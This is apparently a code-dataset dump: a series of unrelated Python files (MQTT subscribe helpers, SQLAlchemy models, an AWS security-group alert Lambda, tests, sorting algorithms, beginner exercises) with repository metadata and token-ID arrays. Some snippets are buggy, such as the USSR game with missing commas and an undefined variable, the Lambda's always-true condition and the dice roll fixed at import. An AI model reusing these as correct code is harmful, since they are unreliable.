op_vec[:,0] = np.real(complex_vec) op_vec[:,1] = np.imag(complex_vec) return op_vec if __name__ == '__main__': test_data_sig_parallel()

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paho/mqtt/subscribe.py

RandomGamer342/TTM4115-plantsensor

8

6172

<gh_stars>1-10 # Copyright (c) 2016 <NAME> <<EMAIL>> # # All rights reserved. This program and the accompanying materials # are made available under the terms of the Eclipse Public License v1.0 # and Eclipse Distribution License v1.0 which accompany this distribution. # # The Eclipse Public License is available at # http://www.eclipse.org/legal/epl-v10.html # and the Eclipse Distribution License is available at # http://www.eclipse.org/org/documents/edl-v10.php. # # Contributors: # <NAME> - initial API and implementation """ This module provides some helper functions to allow straightforward subscribing to topics and retrieving messages. The two functions are simple(), which returns one or messages matching a set of topics, and callback() which allows you to pass a callback for processing of messages. """ import paho.mqtt.client as paho import paho.mqtt as mqtt import ssl def _on_connect(c, userdata, flags, rc): """Internal callback""" if rc != 0: raise mqtt.MQTTException(paho.connack_string(rc)) if type(userdata['topics']) is list: for t in userdata['topics']: c.subscribe(t, userdata['qos']) else: c.subscribe(userdata['topics'], userdata['qos']) def _on_message_callback(c, userdata, message): """Internal callback""" userdata['callback'](c, userdata['userdata'], message) def _on_message_simple(c, userdata, message): """Internal callback""" if userdata['msg_count'] == 0: return # Don't process stale retained messages if 'retained' was false if userdata['retained'] == False and message.retain == True: return userdata['msg_count'] = userdata['msg_count'] - 1 if userdata['messages'] is None and userdata['msg_count'] == 0: userdata['messages'] = message c.disconnect() return userdata['messages'].append(message) if userdata['msg_count'] == 0: c.disconnect() def callback(callback, topics, qos=0, userdata=None, hostname="localhost", port=1883, client_id="", keepalive=60, will=None, auth=None, tls=None, protocol=paho.MQTTv311, transport="tcp"): """Subscribe to a list of topics and process them in a callback function. This function creates an MQTT client, connects to a broker and subscribes to a list of topics. Incoming messages are processed by the user provided callback. This is a blocking function and will never return. callback : function of the form "on_message(client, userdata, message)" for processing the messages received. topics : either a string containing a single topic to subscribe to, or a list of topics to subscribe to. qos : the qos to use when subscribing. This is applied to all topics. userdata : passed to the callback hostname : a string containing the address of the broker to connect to. Defaults to localhost. port : the port to connect to the broker on. Defaults to 1883. client_id : the MQTT client id to use. If "" or None, the Paho library will generate a client id automatically. keepalive : the keepalive timeout value for the client. Defaults to 60 seconds. will : a dict containing will parameters for the client: will = {'topic': "<topic>", 'payload':"<payload">, 'qos':<qos>, 'retain':<retain>}. Topic is required, all other parameters are optional and will default to None, 0 and False respectively. Defaults to None, which indicates no will should be used. auth : a dict containing authentication parameters for the client: auth = {'username':"<username>", 'password':"<password>"} Username is required, password is optional and will default to None if not provided. Defaults to None, which indicates no authentication is to be used. tls : a dict containing TLS configuration parameters for the client: dict = {'ca_certs':"<ca_certs>", 'certfile':"<certfile>", 'keyfile':"<keyfile>", 'tls_version':"<tls_version>", 'ciphers':"<ciphers">} ca_certs is required, all other parameters are optional and will default to None if not provided, which results in the client using the default behaviour - see the paho.mqtt.client documentation. Defaults to None, which indicates that TLS should not be used. transport : set to "tcp" to use the default setting of transport which is raw TCP. Set to "websockets" to use WebSockets as the transport. """ if qos < 0 or qos > 2: raise ValueError('qos must be in the range 0-2') callback_userdata = { 'callback':callback, 'topics':topics, 'qos':qos, 'userdata':userdata} client = paho.Client(client_id=client_id, userdata=callback_userdata, protocol=protocol, transport=transport) client.on_message = _on_message_callback client.on_connect = _on_connect if auth is not None: username = auth['username'] try: password = auth['password'] except KeyError: password = <PASSWORD> client.username_pw_set(username, password) if will is not None: will_topic = will['topic'] try: will_payload = will['payload'] except KeyError: will_payload = None try: will_qos = will['qos'] except KeyError: will_qos = 0 try: will_retain = will['retain'] except KeyError: will_retain = False client.will_set(will_topic, will_payload, will_qos, will_retain) if tls is not None: ca_certs = tls['ca_certs'] try: certfile = tls['certfile'] except KeyError: certfile = None try: keyfile = tls['keyfile'] except KeyError: keyfile = None try: tls_version = tls['tls_version'] except KeyError: tls_version = ssl.PROTOCOL_SSLv23; try: ciphers = tls['ciphers'] except KeyError: ciphers = None client.tls_set(ca_certs, certfile, keyfile, tls_version=tls_version, ciphers=ciphers) client.connect(hostname, port, keepalive) client.loop_forever() def simple(topics, qos=0, msg_count=1, retained=True, hostname="localhost", port=1883, client_id="", keepalive=60, will=None, auth=None, tls=None, protocol=paho.MQTTv311, transport="tcp"): """Subscribe to a list of topics and return msg_count messages. This function creates an MQTT client, connects to a broker and subscribes to a list of topics. Once "msg_count" messages have been received, it disconnects cleanly from the broker and returns the messages. topics : either a string containing a single topic to subscribe to, or a list of topics to subscribe to. qos : the qos to use when subscribing. This is applied to all topics. msg_count : the number of messages to retrieve from the broker. if msg_count == 1 then a single MQTTMessage will be returned. if msg_count > 1 then a list of MQTTMessages will be returned. retained : If set to True, retained messages will be processed the same as non-retained messages. If set to False, retained messages will be ignored. This means that with retained=False and msg_count=1, the function will return the first message received that does not have the retained flag set. hostname : a string containing the address of the broker to connect to. Defaults to localhost. port : the port to connect to the broker on. Defaults to 1883. client_id : the MQTT client id to use. If "" or None, the Paho library will generate a client id automatically. keepalive : the keepalive timeout value for the client. Defaults to 60 seconds. will : a dict containing will parameters for the client: will = {'topic': "<topic>", 'payload':"<payload">, 'qos':<qos>, 'retain':<retain>}. Topic is required, all other parameters are optional and will default to None, 0 and False respectively. Defaults to None, which indicates no will should be used. auth : a dict containing authentication parameters for the client: auth = {'username':"<username>", 'password':"<password>"} Username is required, password is optional and will default to None if not provided. Defaults to None, which indicates no authentication is to be used. tls : a dict containing TLS configuration parameters for the client: dict = {'ca_certs':"<ca_certs>", 'certfile':"<certfile>", 'keyfile':"<keyfile>", 'tls_version':"<tls_version>", 'ciphers':"<ciphers">} ca_certs is required, all other parameters are optional and will default to None if not provided, which results in the client using the default behaviour - see the paho.mqtt.client documentation. Defaults to None, which indicates that TLS should not be used. transport : set to "tcp" to use the default setting of transport which is raw TCP. Set to "websockets" to use WebSockets as the transport. """ if msg_count < 1: raise ValueError('msg_count must be > 0') # Set ourselves up to return a single message if msg_count == 1, or a list # if > 1. if msg_count == 1: messages = None else: messages = [] userdata = {'retained':retained, 'msg_count':msg_count, 'messages':messages} callback(_on_message_simple, topics, qos, userdata, hostname, port, client_id, keepalive, will, auth, tls, protocol, transport) return userdata['messages']

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registry/sql/models/module.py

rmb938/tf-registry

3

103248

import uuid from sqlalchemy import Column, String, func, Index, ForeignKey from sqlalchemy_utils import ArrowType, UUIDType from registry.sql.database import Base class Module(Base): __tablename__ = 'modules' id = Column(UUIDType, primary_key=True, default=uuid.uuid4) organization_id = Column(UUIDType, ForeignKey('organizations.id'), nullable=False, index=True) name = Column(String, nullable=False) created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now()) updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now()) __table_args__ = ( Index("organization_id_name_idx", organization_id, name, unique=True), ) class ModuleProvider(Base): __tablename__ = 'module_providers' id = Column(UUIDType, primary_key=True, default=uuid.uuid4) module_id = Column(UUIDType, ForeignKey('modules.id'), nullable=False, index=True) name = Column(String, nullable=False) created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now()) updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now()) __table_args__ = ( Index("module_id_name_idx", module_id, name, unique=True), ) class ModuleProviderVersion(Base): __tablename__ = 'module_provider_versions' id = Column(UUIDType, primary_key=True, default=uuid.uuid4) provider_id = Column(UUIDType, ForeignKey('module_providers.id'), nullable=False, index=True) version = Column(String, nullable=False) created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now()) updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now()) __table_args__ = ( Index("provider_id_version_idx", provider_id, version, unique=True), )

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tests/integration/records/datetime_cases.py

cwegrzyn/records-mover

36

155485

SAMPLE_YEAR = 1983 SAMPLE_YEAR_SHORT = 83 SAMPLE_MONTH = 1 SAMPLE_DAY = 2 SAMPLE_HOUR = 15 SAMPLE_UTC_HOUR = 20 SAMPLE_HOUR_12H = 3 SAMPLE_MINUTE = 4 SAMPLE_SECOND = 5 SAMPLE_PERIOD = 'PM' SAMPLE_OFFSET = '-00' SAMPLE_LONG_TZ = 'UTC' def create_sample(template: str) -> str: return ( template .replace('YYYY', str(SAMPLE_YEAR)) .replace('YY', ('%02d' % SAMPLE_YEAR_SHORT)) .replace('MM', ('%02d' % SAMPLE_MONTH)) .replace('DD', ('%02d' % SAMPLE_DAY)) .replace('HH24', ('%02d' % SAMPLE_HOUR)) .replace('HH12', ('%02d' % SAMPLE_HOUR_12H)) .replace('HH', ('%02d' % SAMPLE_HOUR)) .replace('MI', ('%02d' % SAMPLE_MINUTE)) .replace('SS', ('%02d' % SAMPLE_SECOND)) .replace('OF', SAMPLE_OFFSET) .replace('AM', SAMPLE_PERIOD) ) DATE_CASES = [ 'YYYY-MM-DD', 'MM-DD-YYYY', 'DD-MM-YYYY', 'MM/DD/YY', 'DD/MM/YY', 'DD-MM-YY', ] TIMEONLY_CASES = [ "HH12:MI AM", "HH:MI:SS", "HH24:MI:SS", ] DATETIMETZ_CASES = [ "YYYY-MM-DD HH:MI:SSOF", "YYYY-MM-DD HH:MI:SS", "YYYY-MM-DD HH24:MI:SSOF", "MM/DD/YY HH24:MI", ] DATETIME_CASES = [ "YYYY-MM-DD HH24:MI:SS", "YYYY-MM-DD HH:MI:SS", "YYYY-MM-DD HH12:MI AM", "MM/DD/YY HH24:MI", ]

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function/function_sg_event.py

lihtiandxc/notification4sgchanges

0

69617

from datetime import datetime import boto3 import json import os sns_client = boto3.client('sns') ###-------Global Var can be defined in Lambda global var and import with os.environ() method #str_asg_name = 'limliht-asg,limliht2-asg' #simulate global var in lambda #global_asg_name = str_asg_name.split(',') #accountpf_sg_list = ['sg-c87e38b8','sg-a8bb07d3','sg-233f485c','sg-2b7b3d5b','sg-0297c272','sg-e29dc892','sg-dcf86ca8'] #accountpf_sg_list = ['sg-fbde2f8c','sg-9ba7c2ec','sg-352d1542'] accountpf_sg_list = os.environ['global_accountpf_sg_list'].split(',') #accountpf_sg_list = accountpf_sg_list.split(',') accountpf_sg_name = os.environ['global_accountpf_sg_name'].split(',') #accountpf_sg_name = accountpf_sg_name.split(',') sns_topic_arn = os.environ['global_sns_topic_arn'] #accountpf_sg_name = ['Prod_sg_mante','Monitor','Stag_account'] combine_sg_list = dict(zip(accountpf_sg_name,accountpf_sg_list)) #why not using dict instead? This design is to fit AWS lambda global var input #sns_topic_arn = 'arn:aws:sns:us-east-1:751611215147:limliht_topic2' def construct_sns_msg(e): request_parameters = e['requestParameters'] group_id = request_parameters['groupId'] accesskey_id = e['userIdentity']['accessKeyId'] username = e['userIdentity']['userName'] event_name = e['eventName'] if event_name != 'DeleteSecurityGroup': ip_permissions = request_parameters['ipPermissions'] ip_permissions_item = json.dumps(ip_permissions['items']) else: ip_permissions_item = 'Security Group has deleted' aws_region = e['awsRegion'] source_ip = e['sourceIPAddress'] event_id = e['eventID'] str_e = json.dumps(e) str_e_data = json.loads(str_e) event_time_json = str_e_data['eventTime'] #Transform the JSON time format to datetime format event_time_datetime_format = str(datetime.strptime(event_time_json, '%Y-%m-%dT%H:%M:%SZ')) #Searching group name based on group id for sg_name, sg_id in combine_sg_list.items(): if sg_id == group_id: group_name = sg_name #return sg_name body_msg = 'Event summary: \ \n\nEvent name : ' + event_name + \ '\nSecurity Group Name : ' + group_name + \ '\nSecurity Group ID : ' + group_id + \ '\nChange Items : ' + ip_permissions_item + \ '\nEvent Id : ' + event_id + \ '\nEvent time (UTC) : ' + event_time_datetime_format + \ '\nUser Access Key : ' + accesskey_id + \ '\nUsername : ' + username + \ '\nAWS Region : ' + aws_region + \ '\nSource IP : ' + source_ip + \ '\n\n\n' + 'Raw event: ' + \ '\n\n' + str_e subject_msg = 'Account Platform Security Group ({}) Rules Changes'.format(group_id) trigger_notification(body_msg, subject_msg) def trigger_notification(event_detail, subject): sns_client.publish(TargetArn = sns_topic_arn, MessageStructure = 'string', \ Message = event_detail, Subject = subject) def lambda_handler(event, context): # TODO implement print(event) if (event['detail']['eventName'] == 'AuthorizeSecurityGroupIngress' or \ 'AuthorizeSecurityGroupEgress' or 'RevokeSecurityGroupEgress' or \ 'RevokeSecurityGroupIngress') or 'DeleteSecurityGroup' and \ event['detail']['requestParameters'] \ ['groupId'] in accountpf_sg_list: construct_sns_msg(event['detail']) return 'Success'

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tests/test_datatypes.py

MZH-bust/genutil

0

81444

import pytest from genutil import datatypes class TestIsListOfStrings: @pytest.mark.parametrize( "test_parameter,expected", [ pytest.param(["this", "is", "a", "list", "of", "strings"], True, id="Param1 - List of Strings"), pytest.param("no list, but string", False, id="Param2 - String only"), pytest.param(["this", "is", "a", 9], False, id="Param3 - List contains int"), pytest.param(10, False, id="Param4 - only int"), ], ) def test_is_list_of_strings(self, test_parameter, expected): assert datatypes.is_list_of_strings(test_parameter) == expected

[ 1, 1053, 11451, 1688, 13, 3166, 2531, 4422, 1053, 1418, 271, 7384, 13, 13, 13, 1990, 4321, 3624, 1293, 2776, 26545, 29901, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 4706, 376, 1688, 29918, 15501, 29892, 9684, 613, 13, 4706, 518, 13, 9651, 11451, 1688, 29889, 3207, 29898, 3366, 1366, 613, 376, 275, 613, 376, 29874, 613, 376, 1761, 613, 376, 974, 613, 376, 19651, 12436, 5852, 29892, 1178, 543, 4736, 29896, 448, 2391, 310, 3767, 886, 4968, 13, 9651, 11451, 1688, 29889, 3207, 703, 1217, 1051, 29892, 541, 1347, 613, 7700, 29892, 1178, 543, 4736, 29906, 448, 1714, 871, 4968, 13, 9651, 11451, 1688, 29889, 3207, 29898, 3366, 1366, 613, 376, 275, 613, 376, 29874, 613, 29871, 29929, 1402, 7700, 29892, 1178, 543, 4736, 29941, 448, 2391, 3743, 938, 4968, 13, 9651, 11451, 1688, 29889, 3207, 29898, 29896, 29900, 29892, 7700, 29892, 1178, 543, 4736, 29946, 448, 871, 938, 4968, 13, 4706, 21251, 13, 1678, 1723, 13, 1678, 822, 1243, 29918, 275, 29918, 1761, 29918, 974, 29918, 19651, 29898, 1311, 29892, 1243, 29918, 15501, 29892, 3806, 1125, 13, 4706, 4974, 1418, 271, 7384, 29889, 275, 29918, 1761, 29918, 974, 29918, 19651, 29898, 1688, 29918, 15501, 29897, 1275, 3806, 13, 2 ]

dice.py

kamalkum9r/python

1

1616221

# importing required library # no need to worry about installing it its preinstalled with your python language import random # here i am defining a function to roll a dice so that you can import it in other projects also # huh, thanks me later for that ?? dice = random.randint(1,6) def roll_a_die(): return dice result = roll_a_die() print(result) # its that simple , isn't it ?? # my instagram username: kamalkum9r

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modeladminutils/models.py

kinaklub/next.filmfest.by

7

173682

from django.db import models from modeladminutils.queryset import SearchableQuerySet __all__ = ['SearchableManager'] class BaseSearchableManager(models.Manager): def get_queryset(self): return SearchableQuerySet(self.model) SearchableManager = BaseSearchableManager.from_queryset(SearchableQuerySet)

[ 1, 515, 9557, 29889, 2585, 1053, 4733, 13, 13, 3166, 1904, 6406, 13239, 29889, 1972, 842, 1053, 11856, 519, 3010, 2697, 13, 13, 13, 1649, 497, 1649, 353, 6024, 7974, 519, 3260, 2033, 13, 13, 13, 1990, 7399, 7974, 519, 3260, 29898, 9794, 29889, 3260, 1125, 13, 1678, 822, 679, 29918, 1972, 842, 29898, 1311, 1125, 13, 4706, 736, 11856, 519, 3010, 2697, 29898, 1311, 29889, 4299, 29897, 13, 13, 13, 7974, 519, 3260, 353, 7399, 7974, 519, 3260, 29889, 3166, 29918, 1972, 842, 29898, 7974, 519, 3010, 2697, 29897, 13, 2 ]

sort/sort.py

storyoftime66/AlgorithmSheet

0

74811

#!/usr/bin/env python3 # -*- coding: utf-8 -*- def insert_sort(inputlist): """ 直接插入排序，升序 :param inputlist: a list of number :return: the ascending list """ length = len(inputlist) for x in range(1, length): key = inputlist[x] # 要插入的数 i = x - 1 while i >= 0: if inputlist[i] > key: inputlist[i + 1]=inputlist[i] else: break i -= 1 inputlist[i + 1] = key return inputlist def bubble_sort(inputlist): """ 冒泡排序 :param inputlist: a list of number :return: the ascending list """ length = len(inputlist) for j in range(1, length): for i in range(length-j): if inputlist[i] > inputlist[i+1]: inputlist[i], inputlist[i+1] = inputlist[i+1], inputlist[i] return inputlist def select_sort(inputlist): """ 简单选择排序 :param inputlist: a list of number :return: the ascending list """ length = len(inputlist) for i in range(length): minimum = i for j in range(i, length): if inputlist[j] < inputlist[minimum]: minimum = j inputlist[i], inputlist[minimum] = inputlist[minimum], inputlist[i] return inputlist def shell_sort(inputlist): pass return inputlist def quick_sort(inputlist): pass return inputlist # 堆排序 def heap_sort(inputlist): def heap_rebuild(inputlist, index, length): """ 堆排序 :param inputlist: :param index: :param length: :return: """ lchild = index * 2 + 1 rchild = lchild + 1 if lchild < length: heap_rebuild(inputlist, lchild, length) if inputlist[lchild] > inputlist[index]: inputlist[index], inputlist[lchild] = inputlist[lchild], inputlist[index] if rchild < length: heap_rebuild(inputlist, rchild, length) if inputlist[rchild] > inputlist[index]: inputlist[index], inputlist[rchild] = inputlist[rchild], inputlist[index] length = len(inputlist) # 重建完之后最大的元素在下标为0的位置 heap_rebuild(inputlist, 0, length) while length > 0: # inputlist[length-1]为末尾元素 length -= 1 # 交换到表尾 inputlist[0], inputlist[length] = inputlist[length], inputlist[0] heap_rebuild(inputlist, 0, length) return inputlist L1 = [5, 9, 6] heap_sort(L1) print(L1)

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app_common/traitsui/tests/test_unit_scalar_editor.py

KBIbiopharma/app_common

2

195734

from unittest import TestCase, skipIf import os from traits.api import HasTraits, Instance from traitsui.api import Item, View try: from scimath.units.api import UnitScalar from scimath.units.dimensionless import dimensionless from app_common.traitsui.unit_scalar_editor import \ UnitScalarEditor, str_to_unit_scalar, unit_scalar_to_str scimath_available = True except ImportError: scimath_available = False if scimath_available: class SampleModel(HasTraits): x = Instance(UnitScalar) view = View( Item("x", editor=UnitScalarEditor()) ) skip = (os.environ.get("ETS_TOOLKIT", "qt4") == "null" or scimath_available is False) if not skip: from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant @skipIf(skip, "No scimath available or no UI backend to paint UIs into.") class TestUniScalarEditor(TestCase, GuiTestAssistant): def setUp(self): GuiTestAssistant.setUp(self) self.model = SampleModel() self.ui = None def tearDown(self): GuiTestAssistant.tearDown(self) if self.ui is not None: self.ui.dispose() def test_editor_with_value(self): val = UnitScalar(2, units="cm") self.model.x = val self.ui = self.model.edit_traits() self.assertEqual(self.model.x, val) def test_editor_without_value(self): self.ui = self.model.edit_traits() self.assertIsNone(self.model.x) def test_editor_with_complex_unit(self): val = UnitScalar(2, units="cm / s") self.model.x = val self.ui = self.model.edit_traits() self.assertEqual(self.model.x, val) def test_displayed_text(self): self.model.x = UnitScalar(2, units=dimensionless) with self.event_loop(): self.ui = self.model.edit_traits() text = get_text_editor_for_attr(self.ui, "x") self.assertEqual(text, '2') def test_change_text(self): # The event loop is needed for the change in the UI editor to # modify the model. with self.event_loop(): self.ui = self.model.edit_traits() set_text_editor_for_attr(self.ui, "x", "2 km") self.assertEqual(self.model.x, UnitScalar(2, units="km")) def test_units_label_with_int(self): self.model.x = UnitScalar(2, units="g") with self.event_loop(): self.ui = self.model.edit_traits() text = get_text_editor_for_attr(self.ui, "x") self.assertEqual(text, '2 g') def test_units_label_with_float(self): self.model.x = UnitScalar(2.1, units="g") with self.event_loop(): self.ui = self.model.edit_traits() text = get_text_editor_for_attr(self.ui, "x") self.assertEqual(text, '2.1 g') @skipIf(skip, "No scimath available or no UI backend to paint UIs into.") class TestConversionFunctions(TestCase): def test_str2val_with_int(self): text = "2 cm" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2, units="cm")) def test_str2val_with_float_period(self): text = "2. cm" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2., units="cm")) def test_str2val_with_float(self): text = "2.0 cm" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2.0, units="cm")) def test_str2val_with_float_high_precision(self): text = "2.012345678901 cm" self.assertAlmostEqual(str_to_unit_scalar(text), UnitScalar(2.012345678901, units="cm")) def test_basic_val2str(self): val = UnitScalar(2, units="cm") self.assertEqual(unit_scalar_to_str(val), "2 cm") def test_cplx_str2val(self): text = "2.1 cm / s" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2.1, units="cm/s")) def test_cplx_val2str(self): val = UnitScalar(2.1, units="cm/s") self.assertEqual(unit_scalar_to_str(val), "2.1 cm/s") def test_empty_str2val(self): text = " " self.assertEqual(str_to_unit_scalar(text), UnitScalar(0, units='1')) def test_empty_val2str(self): self.assertEqual(unit_scalar_to_str(None), "") def test_dimless_val2str(self): ph_val = UnitScalar(3, units="1") self.assertEqual(unit_scalar_to_str(ph_val), "3") ph_val2 = UnitScalar(3, units=dimensionless) self.assertEqual(unit_scalar_to_str(ph_val2), "3") def get_text_editor_for_attr(traits_ui, attr): """ Grab the Qt QLineEdit for attr off the UI and return its text. """ widget = get_widget_for_attr(traits_ui, attr) return widget.text() def set_text_editor_for_attr(traits_ui, attr, val): """ Grab the Qt QLineEdit for attr off the UI and set its text to val. This needs to trigger the right event (Qt signal) so that TraitsUI gets notified. """ widget = get_widget_for_attr(traits_ui, attr) widget.setText(val) # Emit the signal that TraitsUI is listening to: widget.editingFinished.emit() def get_widget_for_attr(traits_ui, attr_name): """ Return the Qt widget in the UI which displays the attribute specified. """ x_editor = traits_ui.get_editors(attr_name)[0] qt_widget = x_editor.control return qt_widget

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concon.py

nejucomo/concon

0

31891

<reponame>nejucomo/concon<filename>concon.py<gh_stars>0 """ concon (CONstrained CONtainers) provides usefully constrained container subtypes as well as utilities for defining new constrained subtypes and append-only dict modification. There are two flavors of constraints: frozen and appendonly. The former prevents any modification and the latter prevents any modification of an existing entry. These two flavors of constraint are applied to the set, list, and dict types. (Note: frozenset is already a builtin, but is also provided in this module scope for consistency.) """ import unittest from collections import Mapping # I. General Constraint abstractions class ConstraintError (TypeError): """ ConstraintError is the base Exception type for any violation of some constraint. """ Template = 'Attempt to call {!r}.{} {!r} {!r} violates constraint.' def __str__(self): return self.Template.format(*self.args) @classmethod def block(cls, method): """ This decorator raises a ConstraintError (or subclass) on any call to the given method. """ def blocked_method(self, *a, **kw): raise cls(self, method.__name__, a, kw) return blocked_method def define_constrained_subtype(prefix, base, blockednames, clsdict=None): """ Define a subtype which blocks a list of methods. @param prefix: The subtype name prefix. This is prepended to the base type name. This convention is baked in for API consistency. @param base: The base type to derive from. @param blockednames: A list of method name strings. All of these will be blocked. @param clsdict: None or a dict which will be modified to become the subtype class dict. @return: The new subtype. @raise: OverwriteError - If clsdict contains an entry in blockednames. """ name = prefix + base.__name__ clsdict = clsdict or {} doc = clsdict.get('__doc__', '') doc = 'An {} extension of {}.\n{}'.format(prefix, base.__name__, doc) clsdict['__doc__'] = doc setitem_without_overwrite( clsdict, 'get_blocked_method_names', lambda self: iter(blockednames), ) for bname in blockednames: setitem_without_overwrite( clsdict, bname, ConstraintError.block(getattr(base, bname)), ) return type(name, (base,), clsdict) # II. Overwrite utilities class OverwriteError (ConstraintError, KeyError): """ OverwriteError is raised when an attempt to overwrite a value in an append-only structure occurs. """ Template = ('Attempted overwrite of key {!r} with ' 'new value {!r} overwriting old value {!r}') def __init__(self, key, newvalue, oldvalue): KeyError.__init__(self, key, newvalue, oldvalue) def setitem_without_overwrite(d, key, value): """ @param d: An instance of dict, that is: isinstance(d, dict) @param key: a key @param value: a value to associate with the key @return: None @raise: OverwriteError if the key is already present in d. """ if key in d: raise OverwriteError(key, value, d[key]) else: dict.__setitem__(d, key, value) def update_without_overwrite(d, *args, **kwds): """ This has the same interface as dict.update except it uses setitem_without_overwrite for all updates. Note: The implementation is derived from collections.MutableMapping.update. """ if args: assert len(args) == 1, \ 'At most one positional parameter is allowed: {0!r}'.format(args) (other,) = args if isinstance(other, Mapping): for key in other: setitem_without_overwrite(d, key, other[key]) elif hasattr(other, "keys"): for key in other.keys(): setitem_without_overwrite(d, key, other[key]) else: for key, value in other: setitem_without_overwrite(d, key, value) for key, value in kwds.items(): setitem_without_overwrite(d, key, value) # III. Concrete Constrained Containers frozenset = frozenset # Promote this builtin to module scope for consistency. frozenlist = define_constrained_subtype( 'frozen', list, ['__delitem__', '__delslice__', '__iadd__', '__imul__', '__setitem__', '__setslice__', 'append', 'extend', 'insert', 'pop', 'remove', 'reverse', 'sort']) frozendict = define_constrained_subtype( 'frozen', dict, ['__delitem__', '__setitem__', 'clear', 'pop', 'popitem', 'setdefault', 'update']) appendonlyset = define_constrained_subtype( 'appendonly', set, ['__iand__', '__isub__', '__ixor__', 'clear', 'difference_update', 'discard', 'intersection_update', 'pop', 'remove', 'symmetric_difference_update']) appendonlylist = define_constrained_subtype( 'appendonly', list, ['__setitem__', '__delitem__', 'insert', 'reverse', 'pop', 'remove']) appendonlydict = define_constrained_subtype( 'appendonly', dict, ['__delitem__', 'pop', 'popitem', 'clear'], {'__setitem__': setitem_without_overwrite, 'update': update_without_overwrite}) # IV. Unittests class SetItemWithoutOverwriteTests (unittest.TestCase): def test_setitem_without_overwrite__no_overwrite(self): d = {'a': 'apple'} setitem_without_overwrite(d, 'b', 'banana') self.assertEqual(d, {'a': 'apple', 'b': 'banana'}) def test_setitem_without_overwrite__with_overwrite(self): d = {'a': 'apple'} self.assertRaises( OverwriteError, setitem_without_overwrite, d, 'a', 'applause', ) def test_update_without_overwrite__no_overwrite(self): d = {'a': 'apple'} update_without_overwrite(d, {'b': 'banana'}) self.assertEqual(d, {'a': 'apple', 'b': 'banana'}) def test_update_without_overwrite__with_overwrite(self): d = {'a': 'apple'} self.assertRaises( OverwriteError, update_without_overwrite, d, {'a': 'applause'}, ) def test_update_without_overwrite__with_NonMappingWithKeysAndGetItem(self): class NonMappingWithKeysAndGetItem (object): def keys(self): return ['a', 'b', 'c'] def __getitem__(self, key): return 42 d = {} update_without_overwrite(d, NonMappingWithKeysAndGetItem()) self.assertEqual(d, {'a': 42, 'b': 42, 'c': 42}) def test_update_without_overwrite__with_keyvalue_sequence(self): d = {} update_without_overwrite(d, [('a', 0), ('b', 1), ('c', 2)]) self.assertEqual(d, {'a': 0, 'b': 1, 'c': 2}) def test_update_without_overwrite__with_keywords(self): d = {} update_without_overwrite(d, a=0, b=1, c=2) self.assertEqual(d, {'a': 0, 'b': 1, 'c': 2}) class BlockedMethodsTests (unittest.TestCase): def test_frozendict(self): self._check_blocked_methods(frozendict({})) def test_frozenlist(self): self._check_blocked_methods(frozenlist({})) # Note, we do not test frozenset. def test_appendonlydict(self): self._check_blocked_methods(appendonlydict({})) def test_appendonlylist(self): self._check_blocked_methods(appendonlylist({})) def test_appendonlyset(self): self._check_blocked_methods(appendonlyset({})) def _check_blocked_methods(self, obj): for name in obj.get_blocked_method_names(): method = getattr(obj, name) self.assertRaises(ConstraintError, method, 42) class ContraintErrorTests (unittest.TestCase): def test__str__(self): error = ConstraintError( None, 'foo', ('blah', 42), dict(wombat='awesome!'), ) self.assertRegexpMatches( str(error), r'^Attempt to call .* violates constraint\.$', )

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src/verify.py

RaISy-Net/Intelligent_picking

1

48510

<gh_stars>1-10 import glob import os import matplotlib.pyplot as plt from src.utils.dataset_processing import grasp, image from src.utils.data.grasp_data import GraspDatasetBase def save_img(rgb_img,gtbbs,name): fig = plt.figure(figsize=(10, 10)) plt.ion() plt.clf() ax = plt.subplot(111) ax.imshow(rgb_img) g=gtbbs[0] #g=g.as_grasp g.plot_debug(ax) ax.set_title('Grasp') ax.axis('off') fig.savefig(name) if __name__=='__main__': dir='/home/ayush/Desktop/dataset/' x=125 depth_img = image.DepthImage.from_tiff(dir+'depth'+str(x)+'.png') gtbbs = grasp.GraspRectangles.load_from_cornell_file(dir+'color'+str(x)+'cpos.txt') rgb_img = image.Image.from_file(dir+'color'+str(x)+'.png') save_img(rgb_img,gtbbs,'grasp1.png')

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filter/mot.py

oza6ut0ne/CVStreamer

0

21748

<filename>filter/mot.py import time import cv2 import numpy as np class Filter(object): '''detects motions with cv2.BackgroundSubtractorMOG2''' def __init__(self, params): self.params = params try: varThreshold = float(params[0]) if varThreshold <= 0: varThreshold = 16 except (KeyError, ValueError, IndexError): varThreshold = 16 try: self.learningRate = float(params[1]) except (KeyError, ValueError, IndexError): self.learningRate = 0.01 self.subtor = cv2.createBackgroundSubtractorMOG2(detectShadows=False, varThreshold=varThreshold) def apply(self, img): mask = self.subtor.apply(img, learningRate=self.learningRate) if (int(time.time() * 1000) % 400) < 200: img[:, :, 2] |= mask return img

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enumb/__init__.py

tombulled/enumb

0

97833

from .bases import * from .enums import * from .generators import * from .meta import * from .models import * from .types import *

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IVTa/2014/BRONNIKOV_I_S/task_6_50.py

YukkaSarasti/pythonintask

0

1608079

<gh_stars>0 # Задача 6. Вариант 50 # Создайте игру, в которой компьютер загадывает нназвание одной из пятнадцати республик, # входящих в состав СССР, а игрок должен его угадать. # <NAME>. # 25.05.2016 import random USSR = ["РСФСР", "Украинская ССР", "Белорусская ССР" "Узбекская ССР" "Казахская ССР" "Грузинская ССР" "Азербайджанская ССР" "Литовская ССР" "Молдавская ССР" "Латвийская ССР" "Киргизская ССР" "Таджикская ССР" "Армянская ССР" "Туркменская ССР" "Эстонская ССР"] number = random.randint(0, 14) Republics = USSR[number].lower() inputRepublics = input("Угадайте одну из 15 республик СССР: ") if (inputRepublics.lower() == day): out = "\nВы угадали." else: out = "\nВы проиграли. Правильный день - " + day + "." out += " Нажмите Enter для выхода." input(out)

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app/grammar.py

bda-19fs/bda-chatbot

1

191596

